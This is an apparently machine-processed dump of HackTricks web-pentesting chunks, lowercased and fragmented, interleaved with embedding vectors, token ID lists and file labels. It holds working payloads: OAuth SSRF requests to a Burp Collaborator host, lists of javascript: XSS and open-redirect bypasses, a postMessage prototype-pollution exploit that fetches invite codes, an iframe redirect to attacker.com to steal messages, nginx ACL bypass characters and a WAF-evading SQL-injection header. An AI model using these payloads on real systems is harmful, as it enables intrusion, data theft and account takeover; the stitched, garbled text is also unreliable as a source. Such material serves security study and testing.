doesn't lead to ssrf, it may lead to xss if the url is not escaped. jwks _ uri - url for the client's json web key set [ jwk ] document. this key set is needed on the server for validating signed requests made to the token endpoint when using jwts for client authentication [ rfc7523 ]. in order to test for ssrf in this parameter, register a new client application with a malicious " jwks _ uri ", perform the authorization process to obtain an authorization code for any user, and then fetch the " / token " endpoint with the following body : post / oauth / token http / 1. 1... ` ` grant _ type = authorization _ code & code = n0esc3nrze7ltcu7iyzs6a5acc3f0ogp4 & client _ assertion _ type = urn : ietf : params : oauth : client - assertion - type : jwt - bearer & client _ assertion = eyjhbgci... if vulnerable, the server should perform a server - to - server http request to the supplied " jwks _ uri " because it needs this key to check the validity of the " client _ assertion " parameter in your request. this will probably only be a blind ssrf vulnerability though, as the server expects a proper json response. sector _ identifier _ uri - this url references a file with a single json array of redirect _ uri values. if supported, the server may fetch this value as soon as you submit the dynamic registration request. if this is not fetched immediately, try to perform authorization for this client on the server. as it needs to know the redirect _ uris in order to complete the authorization flow, this will force the server to make a request to your malicious sector _ identifier _ uri. request _ uris - an array of the allowed request _ uris for this client. the " request _ uri " parameter may be supported on the authorization endpoint to provide a url that contains a jwt with the request information ( see url : / / openid. net / specs / openid - connect - core - 1 _ 0. html # rfc. section. 6. 2 ). even if dynamic client registration is not enabled, or it requires authentication, we can
[ 0.09144169837236404, -0.3102130591869354, -0.8298090100288391, 0.690346360206604, -0.5132372379302979, 0.03231007605791092, -0.06657786667346954, 0.4646303653717041, 0.7330568432807922, 1.0892109870910645, 0.32804328203201294, 0.21436631679534912, 0.4766623079776764, -0.11391834914684296, ...
[ 2987, 1005, 1056, 2599, 2000, 20896, 2546, 1010, 2009, 2089, 2599, 2000, 1060, 4757, 2065, 1996, 24471, 2140, 2003, 2025, 6376, 1012, 1046, 26291, 2015, 1035, 24471, 2072, 1011, 24471, 2140, 2005, 1996, 7396, 1005, 1055, 1046, 3385, 4773, ...
hack_tricks
173.txt
8
try to perform ssrf on the authorization endpoint simply by using " request _ uri " : \ get / authorize? response _ type = code % 20id _ token & client _ id = sclient1 & request _ uri = url : / / ybd1rc7ylpbqzygoahtjh6v0frlh96. burpcollaborator. net / request. jwtnote : don't confuse this parameter with " redirect _ uri ". the " redirect _ uri " is used for redirection after authorization, whereas " request _ uri " is fetched by the server at the start of the authorization process. at the same time, many servers we've seen don't allow arbitrary " request _ uri " values : they only allow whitelisted urls that were pre - registered during the client registration process. that's why we need to supply " request _ uris " : " url : / / ybd1rc7ylpbqzygoahtjh6v0frlh96. burpcollaborator. net / request. jwt " beforehand. oauth providers race conditionsif the platform you are testing is an oauth provider read this to test for possible race conditions. [SEP]
[ -0.16001130640506744, -0.228931725025177, -0.8633170127868652, 0.4829273223876953, -0.2217043787240982, 0.06847265362739563, -0.7512927651405334, 0.34553948044776917, 0.36356884241104126, 0.9408454895019531, 0.15007953345775604, 0.1462421864271164, 0.4047388434410095, -0.07123410701751709,...
[ 3046, 2000, 4685, 20896, 2546, 2006, 1996, 20104, 2203, 8400, 3432, 2011, 2478, 1000, 5227, 1035, 24471, 2072, 1000, 1024, 1032, 2131, 1013, 3166, 4697, 1029, 3433, 1035, 2828, 1027, 3642, 1003, 2322, 3593, 1035, 19204, 1004, 7396, 1035, ...
hack_tricks
173.txt
9
[CLS] open redirectopen redirectredirect to localhost or arbitrary domainsurl format bypassopen redirect to xss # basic payload, javascript code is executed after " javascript : " javascript : alert ( 1 ) # bypass " javascript " word filter with crlfjava % 0d % 0ascript % 0d % 0a : alert ( 0 ) # javascript with " : / / " ( notice that in js " / / " is a line coment, so new line is created before the payload ). url double encoding is needed # this bypasses filter _ validate _ url os phpjavascript : / / % 250aalert ( 1 ) # variation of " javascript : / / " bypass when a query is also needed ( using comments or ternary operator ) javascript : / / % 250aalert ( 1 ) / /? 1javascript : / / % 250a1? alert ( 1 ) : 0 # others % 09jav % 09ascript : alert ( document. domain ) javascript : / / % 250alert ( document. location = document. cookie ) / % 09 / javascript : alert ( 1 ) ; / % 09 / javascript : alert ( 1 ) / / % 5cjavascript : alert ( 1 ) ; / / % 5cjavascript : alert ( 1 ) / % 5cjavascript : alert ( 1 ) ; / % 5cjavascript : alert ( 1 ) javascript : / / % 0aalert ( 1 ) < > javascript : alert ( 1 ) ; / / javascript : alert ( 1 ) ; / / javascript : alert ( 1 ) / javascript : alert ( 1 ) ; / javascript : alert ( 1 ) \ j \ av \ a \ s \ cr \ i \ pt \ : \ a \ l \ ert \ ( 1 \ ) javascript : alert ( 1 ) ; javascript : alert ( 1 ) javascript : / / anything % 0d % 0a % 0d % 0awindow. alert ( document. cookie ) javascript : confirm ( 1 ) javascript : / / https : / / whitelisted. com /? z = % 0aalert ( 1 ) javascript : prompt ( 1 ) javascript : / / whitelisted. com / / % 0d % 0aalert ( 1 ) ;
[ 0.016504229977726936, -0.015203915536403656, -0.18931123614311218, 0.18433789908885956, -0.6608452796936035, 0.31834691762924194, -0.4559277892112732, 0.42076870799064636, 0.5677602887153625, 0.4294625222682953, 0.15755906701087952, 0.049413591623306274, -0.07342725992202759, -0.2752300202...
[ 101, 2330, 2417, 7442, 6593, 26915, 2417, 7442, 6593, 5596, 7442, 6593, 2000, 2334, 15006, 2102, 2030, 15275, 13100, 3126, 2140, 4289, 11826, 26915, 2417, 7442, 6593, 2000, 1060, 4757, 1001, 3937, 18093, 1010, 9262, 22483, 3642, 2003, 6472,...
hack_tricks
174.txt
0
/ / javascript : / / whitelisted. com? % a0alert % 281 % 29 / x : 1 / : / / / % 01javascript : alert ( document. cookie ) / " ; alert ( 0 ) ; / / open redirect uploading svg files < code > <? xml version = " 1. 0 " encoding = " utf - 8 " standalone = " yes "? > < svgonload = " window. location ='http : / / www. example. com'" xmlns = " http : / / www. w3. org / 2000 / svg " > < / svg > < / code > common injection parameters / { payload }? next = { payload }? url = { payload }? target = { payload }? rurl = { payload }? dest = { payload }? destination = { payload }? redir = { payload }? redirect _ uri = { payload }? redirect _ url = { payload }? redirect = { payload } / redirect / { payload } / cgi - bin / redirect. cgi? { payload } / out / { payload } / out? { payload }? view = { payload } / login? to = { payload }? image _ url = { payload }? go = { payload }? return = { payload }? returnto = { payload }? return _ to = { payload }? checkout _ url = { payload }? continue = { payload }? return _ path = { payload } success = https : / / c1h2e1. github. iodata = https : / / c1h2e1. github. ioqurl = https : / / c1h2e1. github. iologin = https : / / c1h2e1. github. iologout = https : / / c1h2e1. github. ioext = https : / / c1h2e1. github. ioclickurl = https : / / c1h2e1. github. iogoto = https : / / c1h2e1. github. iorit _ url = https : / / c1h2e1. github. ioforward _ url = https : / / c1h
[ 0.6537332534790039, -0.18273025751113892, 0.007900897413492203, 0.5953409075737, -0.3794214725494385, -0.057658601552248, -0.7441281676292419, 0.7283624410629272, -0.05308575928211212, 0.13289795815944672, 0.15970472991466522, 0.19184106588363647, 0.08776959031820297, 0.11039602756500244, ...
[ 1013, 1013, 9262, 22483, 1024, 1013, 1013, 2317, 9863, 2098, 1012, 4012, 1029, 1003, 1037, 2692, 9453, 5339, 1003, 22955, 1003, 2756, 1013, 1060, 1024, 1015, 1013, 1024, 1013, 1013, 1013, 1003, 5890, 3900, 12044, 23235, 1024, 9499, 1006, ...
hack_tricks
174.txt
1
##2e1. github. io @ https : / / c1h2e1. github. ioforward = https : / / c1h2e1. github. iopic = https : / / c1h2e1. github. iocallback _ url = https : / / c1h2e1. github. iojump = https : / / c1h2e1. github. iojump _ url = https : / / c1h2e1. github. ioclick? u = https : / / c1h2e1. github. iooriginurl = https : / / c1h2e1. github. ioorigin = https : / / c1h2e1. github. iourl = https : / / c1h2e1. github. iodesturl = https : / / c1h2e1. github. iou = https : / / c1h2e1. github. iopage = https : / / c1h2e1. github. iou1 = https : / / c1h2e1. github. ioaction = https : / / c1h2e1. github. ioaction _ url = https : / / c1h2e1. github. ioredirect = https : / / c1h2e1. github. iosp _ url = https : / / c1h2e1. github. ioservice = https : / / c1h2e1. github. iorecurl = https : / / c1h2e1. github. ioj? url = https : / / c1h2e1. github. iourl = / / https : / / c1h2e1. github. iouri = https : / / c1h2e1. github. iou = https : / / c1h2e1. github. ioallinurl : https : / / c1h2e1. github. ioq = https : / / c1h2e1. github. iolink = https : / / c1h2e1. github. iosrc =
[ 0.39993125200271606, 0.48455411195755005, 0.13145360350608826, 0.0447479672729969, -0.27859342098236084, 0.10257928818464279, -0.48668164014816284, 0.33895716071128845, 0.36572661995887756, 0.6084957122802734, -0.19984525442123413, -0.036358702927827835, 0.7206169366836548, 0.0754660069942...
[ 2475, 2063, 2487, 1012, 21025, 2705, 12083, 1012, 22834, 1030, 16770, 1024, 1013, 1013, 27723, 2232, 2475, 2063, 2487, 1012, 21025, 2705, 12083, 1012, 22834, 29278, 7652, 1027, 16770, 1024, 1013, 1013, 27723, 2232, 2475, 2063, 2487, 1012, 2...
hack_tricks
174.txt
2
https : / / c1h2e1. github. iotc? src = https : / / c1h2e1. github. iolinkaddress = https : / / c1h2e1. github. iolocation = https : / / c1h2e1. github. ioburl = https : / / c1h2e1. github. iorequest = https : / / c1h2e1. github. iobackurl = https : / / c1h2e1. github. ioredirecturl = https : / / c1h2e1. github. ioredirect = https : / / c1h2e1. github. ioreturnurl = https : / / c1h2e1. github. iocode examples. netresponse. redirect ( " ~ / mysafe - subdomain / login. aspx " ) javaresponse. redirect ( " http : / / mysafedomain. com " ) ; php <? php / * browser redirections * / header ( " location : url url redirect you can find fuzzing lists. url url [SEP]
[ 0.05882226303219795, 0.07023569196462631, 0.1372980773448944, 0.3559103012084961, -0.3025003969669342, -0.7148371338844299, 0.0395929291844368, 0.001481568906456232, 0.04248809441924095, 0.39264053106307983, 0.19807279109954834, 0.27507489919662476, 0.7860352396965027, -0.5452986359596252,...
[ 16770, 1024, 1013, 1013, 27723, 2232, 2475, 2063, 2487, 1012, 21025, 2705, 12083, 1012, 22834, 13535, 1029, 5034, 2278, 1027, 16770, 1024, 1013, 1013, 27723, 2232, 2475, 2063, 2487, 1012, 21025, 2705, 12083, 1012, 22834, 13767, 4215, 16200, ...
hack_tricks
174.txt
3
[CLS] parameter pollutioncopied from url : http parameter pollution ( hpp ) means to pollute the http parameters of a web application for achieving a specific malicious task. it refers to manipulating how a website treats parameters it receives during http requests. it changes a website ’ s behaviour from its intended one. http parameter pollution is a simple kind of attack but it is an effective one. when you pollute any parameter the code runs only on the server - side which is invisible to use, but we can see the results on our screen. the process in between is a black box. for example, there is a url url which has three parameters : 1. from : 2. to : 3. amount : url : url /? from = accounta & to = accountb & amount = 10000now this is a normal url which will proceed a transaction of 10000 from accounta to accountb but what if we add another same parameter β€œ from : ” so the url will be like url /? from = accounta & to = accountb & amount = 10000 & from = accountcwhen this url will be proceed a transaction of 10000 it will be deducted from accountc rather than accounta. this is how you manipulate the parameters in http parameter pollution attack. although the scope of this vulnerability is not limited only to get request you can also perform this attack on a post based request. you can try this vulnerability on many places like password change, 2fa, comments, profile photo upload, on a parameter where api key is passed, otp etc. when you manipulate any parameter, it ’ s manipulation depends on how each web technology is parsing their parameters. you can identify web technologies using β€œ wappalyzer ”. below is the screenshot of some technologies and their parameter parsing. technologies and their parameter parsingimage for posti would like to share one of my finding of hpp where i was able to take over an account using this vulnerability. how i find this vulnerability? 1. i went to a login page of that program, it asked for an otp for loginsend otpimage for post2. i typed an email and clicked on β€œ send one time password ” 3. i intercepted the request using burp suite and added another email by using same parameter ( i created two emails for testing purpose ) burp requestimage for post4. i received an otp of shrey … … @ gmail. com
[ 0.5390922427177429, -0.3774474561214447, 0.13683229684829712, 0.42130109667778015, -0.9781588315963745, -0.3301493227481842, -0.06767862290143967, 0.37706318497657776, 0.31889569759368896, 0.6504320502281189, 0.21700161695480347, -0.06791029125452042, 0.5881534218788147, -0.166713982820510...
[ 101, 16381, 10796, 3597, 14756, 2094, 2013, 24471, 2140, 1024, 8299, 16381, 10796, 1006, 6522, 2361, 1007, 2965, 2000, 8554, 10421, 1996, 8299, 11709, 1997, 1037, 4773, 4646, 2005, 10910, 1037, 3563, 24391, 4708, 1012, 2009, 5218, 2000, 262...
hack_tricks
175.txt
0
to my another account radhika … [ email protected ] otpimage for post5. i copied the otp and went to shrey … [ email protected ] on that program ’ s login screen, i entered this otp and i was in the account. account take overimage for postso what happened here is the back - end application took the value of first β€œ email ” parameter to generate an otp and used the value of second β€œ email ” parameter to supply the value, which means an otp of shrey … [ email protected ] was sent to radhika … [ email protected ]. note : here in an image on 4th step where i received an otp to radhika … [ email protected ] i was confused because the message said hi radhika, so i thought that the parameter is not polluted and the otp was for radhika … [ email protected ] but when i tried the otp on shrey … [ email protected ] it worked. flask & phpin this writeup you can see how a http query like a = 1 & a = 2 will be interpreted differently by flask and php running on an apache http server. in flask, the parameter will be 1 ( first occurrence ) while in php it will be 2 ( last occurrence ). pentesting web - [SEP]
[ 0.2170274555683136, -0.11422023922204971, -0.29492977261543274, -0.06686853617429733, -1.251190423965454, -0.8082213997840881, -0.3723798990249634, 0.47467514872550964, 0.13970041275024414, 0.7122617363929749, 0.23320125043392181, 0.28256866335868835, 0.42661699652671814, 0.450356096029281...
[ 2000, 2026, 2178, 4070, 10958, 19114, 2912, 1529, 1031, 10373, 5123, 1033, 27178, 8197, 26860, 2005, 2695, 2629, 1012, 1045, 15826, 1996, 27178, 2361, 1998, 2253, 2000, 14021, 15202, 1529, 1031, 10373, 5123, 1033, 2006, 2008, 2565, 1521, 10...
hack_tricks
175.txt
1
[CLS] phone number injectionsit's possible to add strings at the end the phone number that could be used to exploit common injections ( xss, sqli, ssrf... ) or even to bypass protections : otp bypass / bruteforce would work like this : [SEP]
[ -0.7454524040222168, 0.16199363768100739, -0.4656490385532379, -0.004311526659876108, -0.3688853979110718, -0.7804299592971802, -0.4415164291858673, 0.4104689955711365, 0.87386155128479, 1.0128257274627686, 0.45140406489372253, 0.7898629307746887, 0.4884016215801239, 0.004171400330960751, ...
[ 101, 3042, 2193, 13341, 28032, 1005, 1055, 2825, 2000, 5587, 7817, 2012, 1996, 2203, 1996, 3042, 2193, 2008, 2071, 2022, 2109, 2000, 18077, 2691, 13341, 2015, 1006, 1060, 4757, 1010, 29296, 2072, 1010, 20896, 2546, 1012, 1012, 1012, 1007, ...
hack_tricks
176.txt
0
[CLS] postmessage vulnerabilitiespostmessage vulnerabilitiessend postmessagepostmessage uses the following function to send a message : targetwindow. postmessage ( message, targetorigin, [ transfer ] ) ; # postmessage to current pagewindow. postmessage ('{ " _ _ proto _ _ " : { " isadmin " : true } } ','*') # postmessage to an iframe with id " idframe " < iframe id = " idframe " src = " http : / / victim. com / " > < / iframe > document. getelementbyid ('idframe'). contentwindow. postmessage ('{ " _ _ proto _ _ " : { " isadmin " : true } } ','*') # postmessage to an iframe via onload < iframe src = " https : / / victim. com / " onload = " this. contentwindow. postmessage ('< script > print ( ) < / script > ','*') " > # postmessage to popupwin = open ('url ','hack ','width = 800, height = 300, top = 500') ; win. postmessage ('{ " _ _ proto _ _ " : { " isadmin " : true } } ','*') # postmessage to an urlwindow. postmessage ('{ " _ _ proto _ _ " : { " isadmin " : true } } ','https : / / company. com') # postmessage to iframe inside popupwin = open ('url - with - iframe - inside ','hack ','width = 800, height = 300, top = 500') ; # # loop until win. length = = 1 ( until the iframe is loaded ) win [ 0 ]. postmessage ('{ " _ _ proto _ _ " : { " isadmin " : true } } ','*') note that targetorigin can be a'*'or an url like url in the second scenario, the message can only be sent to that
[ 0.19476689398288727, -0.10509935766458511, -0.39521968364715576, 0.9358685612678528, -0.49294862151145935, -0.3234251141548157, -0.8112375140190125, 0.11035920679569244, 0.21991419792175293, 0.5504953265190125, 0.2625236511230469, -0.5134422183036804, 0.089948371052742, 0.24181075394153595...
[ 101, 2695, 7834, 3736, 3351, 24728, 19666, 6906, 14680, 19894, 7834, 3736, 3351, 24728, 19666, 6906, 14680, 5054, 2094, 2695, 7834, 3736, 3351, 19894, 7834, 3736, 3351, 3594, 1996, 2206, 3853, 2000, 4604, 1037, 4471, 1024, 4539, 11101, 5004...
hack_tricks
177.txt
0
domain ( even if the origin of the window object is different ). if the wildcard is used, messages could be sent to any domain, and will be sent to the origin of the window object. attacking iframe & wildcard in targetoriginas explained in this report if you find a page that can be iframed ( no x - frame - header protection ) and that is sending sensitive message via postmessage using a wildcard ( * ), you can modify the origin of the iframe and leak the sensitive message to a domain controlled by you. note that if the page can be iframed but the targetorigin is set to a url and not to a wildcard, this trick won't work. < html > < iframe src = " https : / / docs. google. com / document / id " / > < script > settimeout ( exp, 6000 ) ; / / wait 6s / / try to change the origin of the iframe each 100ms function exp ( ) { setinterval ( function ( ) { window. frames [ 0 ]. frame [ 0 ] [ 2 ]. location = " https : / / attacker. com / exploit. html " ; }, 100 ) ; } < / script > addeventlistener exploitationaddeventlistener is the function used by js to declare the function that is expecting postmessages. a code similar to the following one will be used : window. addeventlistener ( " message ", ( event ) = > { if ( event. origin! = = " http : / / example. org : 8080 " ) return ; / /... }, false ) ; note in this case how the first thing that the code is doing is checking the origin. this is terribly important mainly if the page is going to do anything sensitive with the received information ( like changing a password ). if it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords ( in this example ). enumerationin order to find event listeners in the current page you can : search the js code for window. addeventlistener and $ ( window ). on ( jquery version ) execute in the developer tools console : geteventlisteners ( window ) go to elements - - > event listeners in the developer tools of the browseruse a
[ 0.008958869613707066, -0.05070766806602478, -0.437472403049469, 0.6369787454605103, -0.22808147966861725, -0.726016104221344, -0.8335335850715637, -0.20921291410923004, 0.2233261913061142, 0.6130329370498657, 0.11882773041725159, 0.06215086951851845, 0.09486283361911774, -0.507850706577301...
[ 5884, 1006, 2130, 2065, 1996, 4761, 1997, 1996, 3332, 4874, 2003, 2367, 1007, 1012, 2065, 1996, 3748, 11522, 2003, 2109, 1010, 7696, 2071, 2022, 2741, 2000, 2151, 5884, 1010, 1998, 2097, 2022, 2741, 2000, 1996, 4761, 1997, 1996, 3332, 487...
hack_tricks
177.txt
1
browser extension like url or url this browser extensions will intercept all the messages and show them to you. check origin basic bypassesif indexof ( ) is used to check the origin of the postmessage event, remember that it can be easily bypassed like in the following example : ( " https : / / app - sj17. marketo. com " ). indexof ( " https : / / app - sj17. ma " ) \ if search ( ) is used to validate the origin could be insecure. according to the docs of string. prototype. search ( ), the method takes a regular repression object instead of a string. if anything other than regexp is passed, it will get implicitly converted into a regexp. in regular expression, a dot (. ) is treated as a wildcard. an attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, like in : " https : / / www. safedomain. com ". search ( " www. s. fedomain. com " ). \ if escapehtml function is used, the function does not create a new escaped object, instead it overwrites properties of the existing object. this means that if we are able to create an object with a controlled property that does not respond to hasownproperty it will not be escaped. / / expected to fail : result = u ( { message : "'\ " < b > \ \ " } ) ; result. message / / " & # 39 ; & quot ; & lt ; b & gt ; \ " / / bypassed : result = u ( new error ( "'\ " < b > \ \ " ) ) ; result. message ; / / "'" < b > \ " file object is perfect for this exploit as it has a read - only name property which is used by our template and will bypass escapehtml function. bypassing e. origin = = window. originwhen a page is embedded in a sandboxed iframe via < iframe sandbox = " allow - scripts " src = " https : / / so - xss. terjanq. me / iframe. php " > the origin of that iframe will be null. when the sandbox value allow - popups is set then the opened popup will inherit all the sandboxed attributes unless allow - popups -
[ -0.2425122708082199, -0.14082661271095276, -0.17008312046527863, 0.09073497354984283, -0.14893972873687744, -0.3897928297519684, -0.6038071513175964, -0.06020834669470787, 0.8799569606781006, 0.7756566405296326, 0.27519744634628296, -0.10421941429376602, -0.15116767585277557, -0.5768356323...
[ 16602, 5331, 2066, 24471, 2140, 2030, 24471, 2140, 2023, 16602, 14305, 2097, 19115, 2035, 1996, 7696, 1998, 2265, 2068, 2000, 2017, 1012, 4638, 4761, 3937, 11826, 2229, 10128, 5950, 11253, 1006, 1007, 2003, 2109, 2000, 4638, 1996, 4761, 199...
hack_tricks
177.txt
2
to - escape - sandbox is set. so, opening a popup from a null origin will make window. origin inside the popup also null. therefore, if you open a sandboxed iframe allowing popups, and then you opens a popup from inside the iframe, and send a postmessage from the iframe to the popup, both origins are null so : e. origin = = window. origin = = nullfor more information read : bypassing sop with iframes - 1bypassing e. sourceyou can force e. source of a message to be null by creating an iframe that sends the postmessage and is immediately deleted. for more information read : bypassing sop with iframes - 2x - frame - header bypassin order to perform these attacks ideally you will be able to put the victim web page inside an iframe. but some headers like x - frame - header can prevent that behaviour. in those scenarios you can still use a less stealthy attack. you can open a new tab to the vulnerable web application and communicate with it : < script > var w = window. open ( " < url > " ) settimeout ( function ( ) { w. postmessage ('text here ','*') ; }, 2000 ) ; < / script > stealing message sent to child by blocking the main pagein the following page you can see how you could steal a sensitive postmessage data sent to a child iframe by blocking the main page before sending the data and abusing a xss in the child to leak the data before it's received : blocking main page to steal postmessagestealing message by modifying iframe locationif you can iframe a webpage without x - frame - header that contains another iframe, you can change the location of that child iframe, so if it's receiving a postmessage sent using a wildcard, an attacker could change that iframe origin to a page controlled by him and steal the message : steal postmessage modifying iframe locationpostmessage to prototype pollution and / or xssin scenarios where the data sent through postmessage is executed by js, you can iframe the page and exploit the prototype pollution / xss sending the exploit via postmessage. a couple of very good explained xss though postmessa
[ -0.42527222633361816, -0.2877831757068634, -0.7304667234420776, 0.6079124212265015, -0.25964346528053284, -0.47323039174079895, -1.0934607982635498, 0.09010021388530731, 0.3529066741466522, 0.5163902044296265, -0.026303131133317947, 0.3467908203601837, 0.26901352405548096, -0.2632777392864...
[ 2000, 1011, 4019, 1011, 5472, 8758, 2003, 2275, 1012, 2061, 1010, 3098, 1037, 3769, 6279, 2013, 1037, 19701, 4761, 2097, 2191, 3332, 1012, 4761, 2503, 1996, 3769, 6279, 2036, 19701, 1012, 3568, 1010, 2065, 2017, 2330, 1037, 5472, 8758, 20...
hack_tricks
177.txt
3
##ge can be found in url of an exploit to abuse prototype pollution and then xss through a postmessage to an iframe : < html > < body > < iframe id = " idframe " src = " http : / / 127. 0. 0. 1 : 21501 / snippets / demo - 3 / embed " > < / iframe > < script > function get _ code ( ) { document. getelementbyid ('iframe _ victim'). contentwindow. postmessage ('{ " _ _ proto _ _ " : { " editedbymod " : { " username " : " < img src = x onerror = \ \ \ " fetch ( \'http : / / 127. 0. 0. 1 : 21501 / api / invitecodes \ ', { credentials : \'same - origin \'} ). then ( response = > response. json ( ) ). then ( data = > { alert ( data [ \'result \'] [ 0 ] [ \'code \'] ) ; } ) \ \ \ " / > " } } } ','*') ; document. getelementbyid ('iframe _ victim'). contentwindow. postmessage ( json. stringify ( " refresh " ),'*') ; } settimeout ( get _ code, 2000 ) ; < / script > < / body > < / html > for more information : link to page about prototype pollutionlink to page about xsslink to page about client side prototype pollution to xss [SEP]
[ -0.35048022866249084, -0.233633354306221, -0.23497825860977173, 0.18171173334121704, -0.38987916707992554, -0.506267786026001, -1.0934780836105347, -0.2075425535440445, 0.1548161804676056, 0.4677653908729553, 0.4190375506877899, -0.062270261347293854, 0.747744083404541, -0.1316743046045303...
[ 3351, 2064, 2022, 2179, 1999, 24471, 2140, 1997, 2019, 18077, 2000, 6905, 8773, 10796, 1998, 2059, 1060, 4757, 2083, 1037, 2695, 7834, 3736, 3351, 2000, 2019, 2065, 6444, 2063, 1024, 1026, 16129, 1028, 1026, 2303, 1028, 1026, 2065, 6444, ...
hack_tricks
177.txt
4
[CLS] proxy / waf protections bypassbypassing nginx acl rulesnginx restriction example : location = / admin { deny all ; } location = / admin / { deny all ; } nodejsas nginx includes the character \ xa0 as part of the pathname, the acl rule for the / admin uri will not be triggered. consequently, nginx will forward the http message to the backend ; when the uri / admin \ x0a is received by the node. js server, the character \ xa0 will be removed, allowing successful retrieval of the / admin endpoint. nginx versionnode. js bypass characters1. 22. 0 \ xa01. 21. 6 \ xa01. 20. 2 \ xa0, \ x09, \ x0c1. 18. 0 \ xa0, \ x09, \ x0c1. 16. 1 \ xa0, \ x09, \ x0cflaskflask removes the characters \ x85, \ xa0, \ x1f, \ x1e, \ x1d, \ x1c, \ x0c, \ x0b, and \ x09 from the url path, but nginx doesn't. nginx versionflask bypass characters1. 22. 0 \ x85, \ xa01. 21. 6 \ x85, \ xa01. 20. 2 \ x85, \ xa0, \ x1f, \ x1e, \ x1d, \ x1c, \ x0c, \ x0b1. 18. 0 \ x85, \ xa0, \ x1f, \ x1e, \ x1d, \ x1c, \ x0c, \ x0b1. 16. 1 \ x85, \ xa0, \ x1f, \ x1e, \ x1d, \ x1c, \ x0c, \ x0bspring bootbelow, you will find a demonstration of how acl protection can be circumvented by adding the character \ x09 or at the end of the pathname : nginx versionspring boot bypass characters1. 22. 0 ; 1. 21. 6 ; 1. 20. 2
[ 0.2962900698184967, -0.16056104004383087, -0.4346453845500946, 0.6325122714042664, -0.19293411076068878, -0.6583268046379089, -0.027935033664107323, 0.34912580251693726, 0.9523818492889404, 1.3086585998535156, 0.44638198614120483, 0.05294181406497955, -0.07607071846723557, -0.3909806609153...
[ 101, 24540, 1013, 11333, 2546, 28548, 11826, 3762, 15194, 2075, 12835, 2378, 2595, 9353, 2140, 3513, 3070, 2378, 2595, 16840, 2742, 1024, 3295, 1027, 1013, 4748, 10020, 1063, 9772, 2035, 1025, 1065, 3295, 1027, 1013, 4748, 10020, 1013, 1063...
hack_tricks
178.txt
0
\ x09, ; 1. 18. 0 \ x09, ; 1. 16. 1 \ x09, ; php - fpmlet's consider the following nginx fpm configuration : location = / admin. php { deny all ; } location ~ \. php $ { include snippets / fastcgi - php. conf ; fastcgi _ pass unix : / run / php / php8. 1 - fpm. sock ; } it's possible to bypass it accessing / admin. php / index. php : how to preventto prevent these issues, you must use the ~ expression instead of the = expression on nginx acl rules, for example : copycopylocation ~ * ^ / admin { deny all ; } bypassing aws waf acl with line foldingit's possible to bypass aws waf protection in a http header by using the following syntax where the aws waf won't understand x - query header contains a sql injection payload while the node server behind will : get / http / 1. 1 \ r \ nhost : target. com \ r \ nx - query : value \ r \ n \ t'or'1'='1'- - \ r \ nconnection : close \ r \ n \ r \ n [SEP]
[ 0.09551133960485458, 0.3563908040523529, -0.23850888013839722, 1.2074673175811768, -0.17992167174816132, -0.38066545128822327, -0.6101357936859131, 0.41102614998817444, 0.044812899082899094, 1.0982143878936768, 0.43124523758888245, 0.30483147501945496, 0.4731966555118561, -0.43154233694076...
[ 1032, 1060, 2692, 2683, 1010, 1025, 1015, 1012, 2324, 1012, 1014, 1032, 1060, 2692, 2683, 1010, 1025, 1015, 1012, 2385, 1012, 1015, 1032, 1060, 2692, 2683, 1010, 1025, 25718, 1011, 1042, 9737, 7485, 1005, 1055, 5136, 1996, 2206, 12835, 23...
hack_tricks
178.txt
1
[CLS] race condition use trickest to easily build and automate workflows powered by the world's most advanced community tools. exploiting rcthe main problem of abusing rc's is that you need the requests to be processed in parallel with a very short time difference ( usually > 1ms ). in the following section, different solutions are proposed for making this possible. single - packet attack ( http / 2 ) / last - byte sync ( http / 1. 1 ) http2 allows to send 2 requests in a single tcp connetion ( whereas in http / 1. 1 they have to be sequential ). the use of a single tcp packet completely eliminates the effect of network jitter, so this clearly has potential for race condition attacks too. however, two requests isn't enough for a reliable race attack thanks to server - side jitter - variations in the application's request - processing time caused by uncontrollable variables like cpu contention. but, using http / 1. 1'last - byte sync'technique it's possible to pre - send the bulk of the data withholding a tiny fragment from each request and then'complete'20 - 30 requests with a single tcp packet. to pre - send the bulk of each request : if the request has no body, send all the headers, but don't set the end _ stream flag. withhold an empty data frame with end _ stream set. if the request has a body, send the headers and all the body data except the final byte. withhold a data frame containing the final byte. next, prepare to send the final frames : wait for 100ms to ensure the initial frames have been sent. ensure tcp _ nodelay is disabled - it's crucial that nagle's algorithm batches the final frames. send a ping packet to warm the local connection. if you don't do this, the os network stack will place the first final - frame in a separate packet. finally, send the withheld frames. you should be able to verify that they landed in a single packet using wireshark. note that it doesn't work for static files on certain servers but as static files aren't relevant to race condition attacks. but static files are irrelevant for rc attacks. using this technique, you can make 20 - 30 requests arrive at the server simultaneously - regardless of network jitter : adapting to the target architectureit's worth noting that many applications sit behind a front - end
[ 0.07314755767583847, 0.0034285071305930614, -0.10651330649852753, 0.6502215266227722, -0.6128170490264893, -0.7149780988693237, -0.46383023262023926, -0.1249842494726181, 0.10711466521024704, 1.1537625789642334, 0.15829549729824066, -0.07752561569213867, 0.40522634983062744, -0.96447467803...
[ 101, 2679, 4650, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 18077, 2075, 22110, 10760, 2364, 3291, 1997, 8273, 7741, 22110, 1005, 1055, 2003, ...
hack_tricks
179.txt
0
server, and these may decide to forward some requests over existing connections to the back - end, and to create fresh connections for others. as a result, it's important not to attribute inconsistent request timing to application behaviour such as locking mechanisms that only allow a single thread to access a resource at once. also, front - end request routing is often done on a per - connection basis, so you may be able to smooth request timing by performing server - side connection warming - sending a few inconsequential requests down your connection before performing the attack ( this is just sending several request before starting the actual attack ) ). session - based locking mechanismssome frameworks attempt to prevent accidental data corruption by using some form of request locking. for example, php's native session handler module only processes one request per session at a time. it's extremely important to spot this kind of behaviour as it can otherwise mask trivially exploitable vulnerabilities. if you notice that all of your requests are being processed sequentially, try sending each of them using a different session token. abusing rate or resource limitsif connection warming doesn't make any difference, there are various solutions to this problem. using turbo intruder, you can introduce a short client - side delay. however, as this involves splitting your actual attack requests across multiple tcp packets, you won't be able to use the single - packet attack technique. as a result, on high - jitter targets, the attack is unlikely to work reliably regardless of what delay you set. instead, you may be able to solve this problem by abusing a common security feature. web servers often delay the processing of requests if too many are sent too quickly. by sending a large number of dummy requests to intentionally trigger the rate or resource limit, you may be able to cause a suitable server - side delay. this makes the single - packet attack viable even when delayed execution is required. for more information about this technique check the 